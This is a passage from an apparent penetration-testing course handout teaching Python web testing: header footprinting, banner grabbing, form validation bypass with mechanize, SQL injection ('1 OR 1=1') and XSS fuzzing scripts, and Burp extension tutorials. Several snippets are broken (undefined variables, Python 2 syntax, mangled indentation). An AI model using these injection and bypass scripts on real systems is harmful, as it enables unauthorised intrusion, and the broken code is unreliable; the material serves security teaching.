2593After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
2594
2595
2596---------------------------Type This-----------------------------------
2597python3 xst.py
2598-----------------------------------------------------------------------
2599
2600##########################################
2601# Foot printing by checking HTTP headers #
2602##########################################
2603
2604
2605HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
2606
2607To begin with, let us import the requests library:
2608
2609------------------------
2610import requests
2611------------------------
2612
2613We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library.
2614
2615---------------------------------------------
2616request = requests.get('enter the URL')
2617---------------------------------------------
2618
2619Next, we will generate a list of headers about which you need the information.
2620
2621---------------------------------------------------------------------------------------------------------------
2622header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
2623---------------------------------------------------------------------------------------------------------------
2624
2625Next is a try and except block.
2626
2627---------------------------------------------------
2628for header in header_list:
2629
2630 try:
2631 result = request.headers[header]
2632 print ('%s: %s' % (header, result))
2633 except Exception as err:
2634 print ('%s: No Details Found' % header)
2635
2636---------------------------------------------------
2637
2638
2639
2640
2641*** Example Full Code: ***
2642
2643---------------------------Type This-----------------------------------
2644nano headercheck.py
2645
2646
2647---------------------------Paste This----------------------------------
2648#!/usr/bin/env python3
2649import requests
2650request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
2651header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
2652for header in header_list:
2653 try:
2654 result = request.headers[header]
2655 print ('%s: %s' % (header, result))
2656 except Exception as err:
2657 print ('%s: No Details Found' % header)
2658----------------------------------------------------------------------------------------------------------------
2659
2660
2661After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’.
2662
2663
2664---------------------------Type This-----------------------------------
2665python3 headercheck.py
2666-----------------------------------------------------------------------
2667
2668
2669##############################################
2670# Testing insecure web server configurations #
2671##############################################
2672
2673We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
2674---------------------------Type This-----------------------------------
2675nano websites.txt
2676
2677---------------------------Paste This----------------------------------
2678https://www.google.com
2679https://www.cnn.com
2680https://foxnews.com
2681-----------------------------------------------------------------------
2682
2683
2684
2685
2686---------------------------Type This-----------------------------------
2687nano insecure_config_check.py
2688
2689
2690---------------------------Paste This----------------------------------
2691#!/usr/bin/eve python3
2692import requests
2693urls = open("websites.txt", "r")
2694for url in urls:
2695 url = url.strip()
2696 req = requests.get(url)
2697 print (url, 'report:')
2698 try:
2699 protection_xss = req.headers['X-XSS-Protection']
2700 if protection_xss != '1; mode=block':
2701 print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
2702 except:
2703 print ('X-XSS-Protection not set, it may be possible')
2704 try:
2705 options_content_type = req.headers['X-Content-Type-Options']
2706 if options_content_type != 'nosniff':
2707 print ('X-Content-Type-Options not set properly:', options_content_type)
2708 except:
2709 print ('X-Content-Type-Options not set')
2710 try:
2711 transport_security = req.headers['Strict-Transport-Security']
2712 except:
2713 print ('HSTS header not set properly, Man in the middle attacks is possible')
2714 try:
2715 content_security = req.headers['Content-Security-Policy']
2716 print ('Content-Security-Policy set:', content_security)
2717 except:
2718 print ('Content-Security-Policy missing')
2719
2720-----------------------------------------------------------------------
2721
2722
2723---------------------------Type This-----------------------------------
2724python3 insecure_config_check.py
2725-----------------------------------------------------------------------
2726
2727
2728#####################################
2729# Footprinting of a Web Application #
2730#####################################
2731
2732Methods for Footprinting of a Web Application
2733
2734
2735Gathering information using parser BeautifulSoup
2736
2737
2738Suppose we want to collect all the hyperlinks from a web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself.
2739
2740To begin with, let us import the necessary packages. We will import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
2741
2742--------------------------------------
2743apt-get install python3-bs4 <-- This is already installed. You don't have to do this step
2744--------------------------------------
2745
2746---------------------------Type This-----------------------------------
2747$ python3
2748import urllib
2749from bs4 import BeautifulSoup
2750-----------------------------------------------------------------------
2751
2752The Python script given below will gather the title of web page andhyperlinks:
2753
2754Now, we need a variable, which can store the URL of the website. Here, we will use avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page.
2755
2756
2757---------------------------Type This-----------------------------------
2758from urllib.request import urlopen
2759
2760url = 'http://www.python.org'
2761file = urlopen(url)
2762html_page = file.read()
2763-----------------------------------------------------------------------
2764
2765The html_page will be assigned as an input to create soup object.
2766
2767---------------------------Type This-----------------------------------
2768soup_object = BeautifulSoup(html_page)
2769-----------------------------------------------------------------------
2770
2771Following two lines will print the title name with tags and without tags respectively.
2772
2773---------------------------Type This-----------------------------------
2774print(soup_object.title)
2775print(soup_object.title.text)
2776-----------------------------------------------------------------------
2777
2778The line of code shown below will save all the hyperlinks.
2779
2780---------------------------Type This-----------------------------------
2781for link in soup_object.find_all('a'):
2782 print(link.get('href'))
2783-----------------------------------------------------------------------
2784
2785
2786
2787
2788*** Full example code: ***
2789
2790---------------------------Type This-----------------------------------
2791
2792import urllib
2793
2794from bs4 import BeautifulSoup
2795
2796from urllib.request import urlopen
2797
2798url = 'http://www.python.org'
2799file = urlopen(url)
2800html_page = file.read()
2801print(html_page)
2802
2803soup_object= BeautifulSoup(html_page)
2804
2805
2806print(soup_object.title)
2807print(soup_object.title.text)
2808
2809
2810for link in soup_object.find_all('a'):
2811 print(link.get('href'))
2812
2813-----------------------------------------------------------------------
2814
2815
2816###################
2817# Banner grabbing #
2818###################
2819
2820
2821The following Python script helps grab the banner using socket programming:
2822
2823------------------------------------------------------------------------------
2824import socket
2825
2826s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800))
2827
2828host = input("Enter the host name: ")
2829port = int(input("Enter Port: "))
2830
2831
2832# host = '192.168.1.54'
2833# port = 22
2834
2835s.connect((host, port))
2836
2837try:
2838 s.send(b'GET HTTP/1.1 \r\n')
2839 ret = s.recv(1024)
2840 print('[+]{}'.format(ret))
2841except Exception as e:
2842 print('[-] Not information grabbed: {}'.format(e))
2843-------------------------------------------------------------------------------
2844
2845After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section.
2846
2847
2848###################################################
2849# Server-side Validation & Client-side Validation #
2850###################################################
2851
2852
2853#######################################
2854# Python Module for Validation Bypass #
2855#######################################
2856
2857
2858The Python module that we are going to useis mechanize. Itis a Python web browser, whichis providing the facility of obtaining web forms in a web page and facilitates the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command:
2859
2860---------------------------------
2861pip3 install mechanize <-- This is already installed. You don't have to do this step
2862---------------------------------
2863
2864
2865
2866Following is a Python script, which uses mechanize to bypass the validation of a web form using POST method to pass the parameter. The web form can be taken from the link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice.
2867
2868To begin with, let us import the mechanize browser:
2869
2870
2871----------------------
2872import mechanize
2873----------------------
2874
2875Now, we will create an object named brwsr of the mechanize browser:
2876
2877-----------------------------
2878brwsr = mechanize.Browser()
2879-----------------------------
2880
2881The next line of code shows that the user agent is not a robot
2882
2883--------------------------------
2884brwsr.set_handle_robots( False )
2885--------------------------------
2886
2887Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation.
2888
2889-----------------------------
2890url = input("Enter URL ")
2891-----------------------------
2892
2893Now, following lines will set some parenters to true.
2894
2895-----------------------------------
2896brwsr.set_handle_equiv(True)
2897brwsr.set_handle_gzip(True)
2898brwsr.set_handle_redirect(True)
2899brwsr.set_handle_referer(True)
2900----------------------------------
2901
2902
2903Next it will open the web page and print the web form on that page.
2904
2905-----------------------------
2906brwsr.open(url)
2907for form in brwsr.forms():
2908 print(form)
2909-----------------------------
2910
2911Next line of codes will bypass the validations on the given fields.
2912
2913------------------------------------
2914brwsr.select_form(nr=0)
2915brwsr.form['name'] = ''
2916brwsr.form['gender'] = ''
2917brwsr.submit()
2918------------------------------------
2919
2920The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation.
2921
2922
2923################################################
2924# Python Penetration Testing — SQLi Web Attack #
2925################################################
2926
2927
2928
2929The attack can be categorize into the following two types:
2930
2931- In-band SQL injection (Simple SQLi)
2932- Inferential SQL injection (Blind SQLi)
2933
2934
2935All types of SQLi can be implemented by manipulating input data to the application. In the following examples, we are writing a Python script to inject attack vectors to the application and analyze the output to verify the possibility of the attack. Here, we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation.
2936
2937
2938The following Python script helps submit forms and analyze the response using mechanize:
2939
2940
2941First of all we need to import the mechanize module.
2942
2943-----------------------
2944import mechanize
2945-----------------------
2946
2947Now, provide the name of the URL for obtaining the response after submitting the form.
2948
2949-------------------------------------
2950url = input("Enter the full url")
2951-------------------------------------
2952
2953The following line of codes will open the url.
2954
2955-----------------------------------
2956request = mechanize.Browser()
2957request.open(url)
2958-----------------------------------
2959
2960Now, we need to select the form.
2961
2962---------------------------------
2963request.select_form(nr=0)
2964---------------------------------
2965
2966Here,we will setthe column name ‘id’.
2967
2968---------------------------------
2969request["id"] = "1 OR 1=1"
2970---------------------------------
2971
2972Now, we need to submit the form
2973
2974---------------------------------
2975response = request.submit()
2976content = response.read()
2977print(content)
2978--------------------------------
2979
2980The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file.
2981
2982To begin with, let us import the mechanize module.
2983
2984---------------------------
2985import mechanize
2986---------------------------
2987
2988Now, provide the name of the URL for obtaining the response after submitting the form.
2989
2990---------------------------------
2991url = input("Enter the full url")
2992 attack_no = 1
2993---------------------------------
2994
2995
2996We need to read the attack vectors from the file
2997
2998-------------------------------------
2999with open ('vectors.txt') as v:
3000-------------------------------------
3001
3002Now we will send request with each arrack vector
3003
3004-------------------------------
3005for line in v:
3006 browser.open(url)
3007browser.select_form(nr=0)
3008 browser["id"] = line
3009 res = browser.submit()
3010content = res.read()
3011------------------------------
3012
3013
3014Now, the following line of code will write the response to the output file.
3015
3016-----------------------------------------------------
3017output = open('response/'+str(attack_no)+'.txt','w')
3018output.write(content)
3019output.close()
3020print attack_no
3021attack_no += 1
3022-----------------------------------------------------
3023
3024
3025By checking and analyzing the responses, we can identify the possible attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection.
3026
3027
3028###############################################
3029# Python Penetration Testing — XSS Web Attack #
3030###############################################
3031
3032
3033Types of XSS Attack
3034
3035
3036The attack can be classified into the following major categories:
3037
3038-Persistent or stored XSS
3039-Non-persistent or reflected XSS
3040
3041
3042
3043Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize:
3044
3045To begin with, let us import the mechanize module.
3046
3047------------------------
3048import mechanize
3049-----------------------
3050
3051
3052Now, provide the name of the URL for obtaining the response after submitting the form.
3053
3054----------------------------------
3055url = input("Enter the full url")
3056 attack_no = 1
3057----------------------------------
3058
3059We need to read the attack vectors from the file.
3060
3061---------------------------------------
3062with open ('vectors_XSS.txt') as x:
3063--------------------------------------
3064
3065Now we will send request with each arrack vector
3066
3067-------------------------
3068for line in x:
3069 browser.open(url)
3070browser.select_form(nr=0)
3071 browser["id"] = line
3072 res = browser.submit()
3073content = res.read()
3074
3075------------------------
3076
3077The following line of code will check the printed attack vector.
3078
3079-----------------------------
3080if content.find(line) > 0:
3081 print("Possible XSS")
3082
3083-----------------------------
3084
3085The following line of code will write the response to output file.
3086
3087
3088-----------------------------------------------------------
3089output = open('response/'+str(attack_no)+'.txt','w')
3090output.write(content)
3091output.close()
3092print attack_no
3093attack_no += 1
3094----------------------------------------------------------
3095
3096
3097*** Full example code: ***
3098
3099------------------------------------------------------------------
3100import mechanize
3101
3102url = input("Enter the full url")
3103attack_no = 1
3104
3105with open ('vectors_XSS.txt') as x:
3106 for line in x:
3107 browser.open(url)
3108 browser.select_form(nr=0)
3109 browser["id"] = line
3110 res = browser.submit()
3111 content = res.read()
3112
3113 if content.find(line) > 0:
3114 print("Possible XSS")
3115
3116 output = open('response/'+str(attack_no)+'.txt','w')
3117 output.write(content)
3118 output.close()
3119 print attack_no
3120 attack_no += 1
3121-----------------------------------------------------------------
3122
3123XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we provided. If the attack vector is present in the response without any escape or validation,there is a high possibility of XSS attack.
3124
3125
3126 ##################################
3127# Burp Extension Python Tutorial #
3128##################################
3129
3130Reference link for this lab exercise:
3131https://laconicwolf.com/2018/04/13/burp-extension-python-tutorial/
3132
3133
3134
3135- Initial setup
3136
3137 Create a directory to store your extensions – I named mine burp-extensions
3138 Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the burp-extensions folder
3139 Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the burp-extensions folder – This will make debugging much easier
3140 Configure Burp to use Jython – Extender > Options > Python Environment > Select file…
3141
3142The IBurpExtender module is required for all extensions, while the IMessageEditorTab and IMessageEditorTabFactory will be used to display messages in Burp’s message tab. The base64 module will be used to decode the basic authorization header, and the FixBurpExceptions and sys modules will be used for debugging, which I’ll cover shortly.
3143
3144Hook into the Burp Extender API to access all of the base classes and useful methods
3145
3146-------------------------------------------------------------------------------------------------------------------------------------------
3147class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
3148 ''' Implements IBurpExtender for hook into burp and inherit base classes.
3149 Implement IMessageEditorTabFactory to access createNewInstance.
3150 '''
3151 def registerExtenderCallbacks(self, callbacks):
3152
3153 # required for debugger: https://github.com/securityMB/burp-exceptions
3154 sys.stdout = callbacks.getStdout()
3155
3156 # keep a reference to our callbacks object
3157 self._callbacks = callbacks
3158
3159 # obtain an extension helpers object
3160 # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
3161 self._helpers = callbacks.getHelpers()
3162
3163 # set our extension name
3164 callbacks.setExtensionName("Decode Basic Auth")
3165
3166 # register ourselves as a message editor tab factory
3167 callbacks.registerMessageEditorTabFactory(self)
3168
3169 return
3170
3171 def createNewInstance(self, controller, editable):
3172 ''' Allows us to create a tab in the http tabs. Returns
3173 an instance of a class that implements the iMessageEditorTab class
3174 '''
3175 return DisplayValues(self, controller, editable)
3176-----------------------------------------------------------------------------------------------------------------------------------------------------
3177
3178This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the lines self._callbacks and self._helpers assign useful methods from other classes. The callbacks.setExtensionName gives the extension a name, and the callbacks.registerMessageEditorTabFactory is required to implement a new tab. The createNewInstance method is required to create a new HTTP tab. The controller parameter is an IMessageEditorController object, which the new tab can query to retrieve details about the currently displayed message. The editable parameter is a Boolean value that indicates whether the tab is editable or read-only.
3179
3180Now we can save the file, and load the extension into Burp, which will cause an error.
3181
3182Load the file: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file…
3183
3184
3185Click Next, and it should produce an ugly error.
3186
3187
3188- Implement nicer looking error messages
3189
3190To make the error messages readable, add the following to the code:
3191
3192In the registerExtenderCallbacks method:
3193
3194-----------------------------------------------------------------------------------------
3195 def registerExtenderCallbacks(self, callbacks):
3196
3197 # required for debugger: https://github.com/securityMB/burp-exceptions
3198 sys.stdout = callbacks.getStdout()
3199-----------------------------------------------------------------------------------------
3200
3201and at the end of the script:
3202
3203-----------------------------------------------------------------------------------------
3204 def createNewInstance(self, controller, editable):
3205 ''' Allows us to create a tab in the http tabs. Returns
3206 an instance of a class that implements the iMessageEditorTab class
3207 '''
3208 return DisplayValues(self, controller, editable)
3209
3210FixBurpExceptions()
3211-----------------------------------------------------------------------------------------
3212
3213Now the errors should make more sense. To reload the extension, just click the loaded checkbox, unload the extension, and click again to load it.
3214
3215
3216We'll get another error
3217
3218The error specifically mentions that with the createNewInstance method the global name DisplayValues is not defined. This error is of course expected since we have not yet created that class, which we will do now. At this point, your script should look like this:
3219
3220----------------------------------------------------------------------------------------------------------------------------------------------------
3221
3222# Decode the value of Authorization: Basic header
3223# Author: Jake Miller (@LaconicWolf)
3224
3225from burp import IBurpExtender # Required for all extensions
3226from burp import IMessageEditorTab # Used to create custom tabs within the Burp HTTP message editors
3227from burp import IMessageEditorTabFactory # Provides rendering or editing of HTTP messages, within within the created tab
3228import base64 # Required to decode Base64 encoded header value
3229from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
3230import sys # Used to write exceptions for exceptions_fix.py debugging
3231
3232
3233class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
3234 ''' Implements IBurpExtender for hook into burp and inherit base classes.
3235 Implement IMessageEditorTabFactory to access createNewInstance.
3236 '''
3237 def registerExtenderCallbacks(self, callbacks):
3238
3239 # required for debugger: https://github.com/securityMB/burp-exceptions
3240 sys.stdout = callbacks.getStdout()
3241
3242 # keep a reference to our callbacks object
3243 self._callbacks = callbacks
3244
3245 # obtain an extension helpers object
3246 # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
3247 self._helpers = callbacks.getHelpers()
3248
3249 # set our extension name
3250 callbacks.setExtensionName("Decode Basic Auth")
3251
3252 # register ourselves as a message editor tab factory
3253 callbacks.registerMessageEditorTabFactory(self)
3254
3255 return
3256
3257 def createNewInstance(self, controller, editable):
3258 ''' Allows us to create a tab in the http tabs. Returns
3259 an instance of a class that implements the iMessageEditorTab class
3260 '''
3261 return DisplayValues(self, controller, editable)
3262
3263FixBurpExceptions()
3264---------------------------------------------------------------------------------------------------------------------------------------------------------------
3265
3266- Create a message tab and access the HTTP headers
3267
3268The DisplayValues class uses Burp’s IMessageEditorTab to create the custom tab, and ultimately controls the logic for whether the tab gets displayed and its message. This class requires several methods to be implemented for it to work. Here is the code that will create a tab and display all of the request headers:
3269
3270---------------------------------------------------------------------------------------------------------------------------------------------------------------
3271class DisplayValues(IMessageEditorTab):
3272 ''' Creates a message tab, and controls the logic of which portion
3273 of the HTTP message is processed.
3274 '''
3275 def __init__(self, extender, controller, editable):
3276 ''' Extender is a instance of IBurpExtender class.
3277 Controller is a instance of the IMessageController class.
3278 Editable is boolean value which determines if the text editor is editable.
3279 '''
3280 self._txtInput = extender._callbacks.createTextEditor()
3281 self._extender = extender
3282
3283 def getUiComponent(self):
3284 ''' Must be invoked before the editor displays the new HTTP message,
3285 so that the custom tab can indicate whether it should be enabled for
3286 that message.
3287 '''
3288 return self._txtInput.getComponent()
3289
3290 def getTabCaption(self):
3291 ''' Returns the name of the custom tab
3292 '''
3293 return "Decoded Authorization Header"
3294
3295 def isEnabled(self, content, isRequest):
3296 ''' Determines whether a tab shows up on an HTTP message
3297 '''
3298 if isRequest == True:
3299 requestInfo = self._extender._helpers.analyzeRequest(content)
3300 headers = requestInfo.getHeaders();
3301 headers = [header for header in headers]
3302 self._headers = '\n'.join(headers)
3303 return isRequest and self._headers
3304
3305 def setMessage(self, content, isRequest):
3306 ''' Shows the message in the tab if not none
3307 '''
3308 if (content is None):
3309 self._txtInput.setText(None)
3310 self._txtInput.setEditable(False)
3311 else:
3312 self._txtInput.setText(self._headers)
3313 return
3314--------------------------------------------------------------------------------------------------------------------------------------------------------------------
3315If you are following along, paste this code after the BurpExtender class you just created, but be sure to make the FixBurpExceptions() the last line of the script. The comments explain the methods, so I’m only going to focus on the isEnabled and setMessage methods. For more info on this class, you can look at the IMessageEditorTab in the Burp Extender API.
3316
3317The isEnabled method accepts message contents and the isRequest parameter (which determines whether the message is a request or a response). If the message is a request, the extender helpers extract the request headers, which for the example purposes I assign to the headers variable via a list comprehension and then assign to self._headers as a string (this needs to be a string). I then return the isRequest and self._headers. In the setMessage method, the content will be received and displayed in a new tab. If you reload this extension and make a request, you should now have a new message tab that is displaying the request headers from the requests you make.
3318
3319Process the headers and populate the message tab
3320
3321Now that we have access to the headers, you can go ahead and process the headers as you see fit. In this example, we will look for the Authorization: Basic header, and decode it if it is present. We need to make a few changes to the isEnabled and setMessage methods.
3322
3323--------------------------------------------------------------------------------------------------------------------------------------
3324isEnabled:
3325
3326
3327 def isEnabled(self, content, isRequest):
3328 ''' Determines whether a tab shows up on an HTTP message
3329 '''
3330 if isRequest == True:
3331 requestInfo = self._extender._helpers.analyzeRequest(content)
3332 headers = requestInfo.getHeaders();
3333 authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
3334 if authorizationHeader:
3335 encHeaderValue = authorizationHeader[0].split()[-1]
3336 try:
3337 self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
3338 except Exception as e:
3339 print e
3340 self._decodedAuthorizationHeader = ""
3341 else:
3342 self._decodedAuthorizationHeader = ""
3343 return isRequest and self._decodedAuthorizationHeader
3344
3345----------------------------------------------------------------------------------------------------------------------------------------
3346The changes we are making looks for the header and decodes it. Otherwise it returns an empty string.
3347
3348----------------------------------------------------------------------------------------------------------------------------------------
3349setMessage:
3350
3351
3352 def setMessage(self, content, isRequest):
3353 ''' Shows the message in the tab if not none
3354 '''
3355 if (content is None):
3356 self._txtInput.setText(None)
3357 self._txtInput.setEditable(False)
3358 else:
3359 self._txtInput.setText(self._decodedAuthorizationHeader)
3360 return
3361-----------------------------------------------------------------------------------------------------------------------------------------
3362
3363The only change made here is displaying the decoded authorization header (self._txtInput.setText(self._decodedAuthorizationHeader)).
3364
3365- Test run
3366
3367Once you reload the extension, you should have a functional extension which will display a new HTTP message tab if you visit a site requiring Basic Authentication. To test it out, header over to https://httpbin.org/basic-auth/user/passwd and enter in some fake credentials:
3368
3369----------------
3370user: test
3371pass: test
3372----------------
3373
3374and in Burp request you will see under decoded authorization header test:test
3375
3376Conclusion
3377
3378Hopefully this walkthrough was a helpful introduction to writing Burp extensions. Below is the full script. If you don’t understand how it works, I urge you to play around with it, putting in print statements in various places so you can experiment. You print statements will appear in the output subtab within the extender tab.
3379
3380Full script:
3381----------------------------------------------------------------------------------------------------------------------------------------------------------------------
3382
3383# Decode the value of Authorization: Basic header
3384# Author: Jake Miller (@LaconicWolf)
3385
3386from burp import IBurpExtender # Required for all extensions
3387from burp import IMessageEditorTab # Used to create custom tabs within the Burp HTTP message editors
3388from burp import IMessageEditorTabFactory # Provides rendering or editing of HTTP messages, within within the created tab
3389import base64 # Required to decode Base64 encoded header value
3390from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
3391import sys # Used to write exceptions for exceptions_fix.py debugging
3392
3393
3394class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
3395 ''' Implements IBurpExtender for hook into burp and inherit base classes.
3396 Implement IMessageEditorTabFactory to access createNewInstance.
3397 '''
3398 def registerExtenderCallbacks(self, callbacks):
3399
3400 # required for debugger: https://github.com/securityMB/burp-exceptions
3401 sys.stdout = callbacks.getStdout()
3402
3403 # keep a reference to our callbacks object
3404 self._callbacks = callbacks
3405
3406 # obtain an extension helpers object
3407 # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
3408 self._helpers = callbacks.getHelpers()
3409
3410 # set our extension name
3411 callbacks.setExtensionName("Decode Basic Auth")
3412
3413 # register ourselves as a message editor tab factory
3414 callbacks.registerMessageEditorTabFactory(self)
3415
3416 return
3417
3418 def createNewInstance(self, controller, editable):
3419 ''' Allows us to create a tab in the http tabs. Returns
3420 an instance of a class that implements the iMessageEditorTab class
3421 '''
3422 return DisplayValues(self, controller, editable)
3423
3424FixBurpExceptions()
3425
3426
3427class DisplayValues(IMessageEditorTab):
3428 ''' Creates a message tab, and controls the logic of which portion
3429 of the HTTP message is processed.
3430 '''
3431 def __init__(self, extender, controller, editable):
3432 ''' Extender is a instance of IBurpExtender class.
3433 Controller is a instance of the IMessageController class.
3434 Editable is boolean value which determines if the text editor is editable.
3435 '''
3436 self._txtInput = extender._callbacks.createTextEditor()
3437 self._extender = extender
3438
3439 def getUiComponent(self):
3440 ''' Must be invoked before the editor displays the new HTTP message,
3441 so that the custom tab can indicate whether it should be enabled for
3442 that message.
3443 '''
3444 return self._txtInput.getComponent()
3445
3446 def getTabCaption(self):
3447 ''' Returns the name of the custom tab
3448 '''
3449 return "Decoded Authorization Header"
3450
3451 def isEnabled(self, content, isRequest):
3452 ''' Determines whether a tab shows up on an HTTP message
3453 '''
3454 if isRequest == True:
3455 requestInfo = self._extender._helpers.analyzeRequest(content)
3456 headers = requestInfo.getHeaders();
3457 authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
3458 if authorizationHeader:
3459 encHeaderValue = authorizationHeader[0].split()[-1]
3460 try:
3461 self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
3462 except Exception as e:
3463 print e
3464 self._decodedAuthorizationHeader = ""
3465 else:
3466 self._decodedAuthorizationHeader = ""
3467 return isRequest and self._decodedAuthorizationHeader
3468
3469 def setMessage(self, content, isRequest):
3470 ''' Shows the message in the tab if not none
3471 '''
3472 if (content is None):
3473 self._txtInput.setText(None)
3474 self._txtInput.setEditable(False)
3475 else:
3476 self._txtInput.setText(self._decodedAuthorizationHeader)
3477 return
3478---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3479
3480
3481#######################################################
3482# Burp Extension Python Tutorial – Encode/Decode/Hash #
3483#######################################################
3484
3485
3486Setup
3487
3488 Create a folder where you’ll store your extensions – I named mine extensions
3489 Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
3490 Download exceptions_fix.py *https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
3491 Configure Burp to use Jython – Extender > Options > Python Environment > Select file
3492 Create a new file (encodeDecodeHash.py) in your favorite text editor (save it in your extensions folder)
3493
3494
3495- Importing required modules and accessing the Extender API, and implementing the debugger
3496
3497Let’s write some code:
3498
3499--------------------------------------------------------
3500from burp import IBurpExtender, ITab
3501from javax import swing
3502from java.awt import BorderLayout
3503import sys
3504try:
3505 from exceptions_fix import FixBurpExceptions
3506except ImportError:
3507 pass
3508--------------------------------------------------------
3509
3510
3511The IBurpExtender module is required for all extensions, while ITab will register the tab in Burp and send Burp the UI that we will define. The swing library is what is used to build GUI applications with Jython, and we’ll be using layout management, specifically BorderLayout from the java.awt library. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine. I’ll be adding more imports when we start writing encoding method, but this is enough for now.
3512
3513This next code snippet will register our extension and create a new tab that will contain the UI. If you’re following along type or paste this code after the imports:
3514
3515-----------------------------------------------------------------------------------------------------------------
3516class BurpExtender(IBurpExtender, ITab):
3517 def registerExtenderCallbacks(self, callbacks):
3518
3519 # Required for easier debugging:
3520 # https://github.com/securityMB/burp-exceptions
3521 sys.stdout = callbacks.getStdout()
3522
3523 # Keep a reference to our callbacks object
3524 self.callbacks = callbacks
3525
3526 # Set our extension name
3527 self.callbacks.setExtensionName("Encode/Decode/Hash")
3528
3529 # Create the tab
3530 self.tab = swing.JPanel(BorderLayout())
3531
3532 # Add the custom tab to Burp's UI
3533 callbacks.addSuiteTab(self)
3534 return
3535
3536 # Implement ITab
3537 def getTabCaption(self):
3538 """Return the text to be displayed on the tab"""
3539 return "Encode/Decode/Hash"
3540
3541 def getUiComponent(self):
3542 """Passes the UI to burp"""
3543 return self.tab
3544
3545try:
3546 FixBurpExceptions()
3547except:
3548 pass
3549------------------------------------------------------------------------------------------------
3550
3551This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to create the tab in Burp. ITab requires two methods, getTabCaption and getUiComponent, where getTabCaption returns the name of the tab, and getUiComponent returns the UI itself (self.tab), which is created in the line self.tab=swing.JPanel(). FixBurpExceptions is called at the end of the script just in case we have an error.
3552
3553
3554Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > encodeDecodeHash.py
3555
3556The extension should load and you should have a new tab: Encode/Decode/Hash
3557
3558This tab doesn’t have any features yet, so let’s build the skeleton of the UI
3559
3560
3561Onto the code:
3562
3563----------------------------------------------------------------------------------------------
3564class BurpExtender(IBurpExtender, ITab):
3565 ...
3566 self.tab = swing.Jpanel(BorderLayout())
3567
3568 # Create the text area at the top of the tab
3569 textPanel = swing.JPanel()
3570
3571 # Create the label for the text area
3572 boxVertical = swing.Box.createVerticalBox()
3573 boxHorizontal = swing.Box.createHorizontalBox()
3574 textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
3575 boxHorizontal.add(textLabel)
3576 boxVertical.add(boxHorizontal)
3577
3578 # Create the text area itself
3579 boxHorizontal = swing.Box.createHorizontalBox()
3580 self.textArea = swing.JTextArea('', 6, 100)
3581 self.textArea.setLineWrap(True)
3582 boxHorizontal.add(self.textArea)
3583 boxVertical.add(boxHorizontal)
3584
3585 # Add the text label and area to the text panel
3586 textPanel.add(boxVertical)
3587
3588 # Add the text panel to the top of the main tab
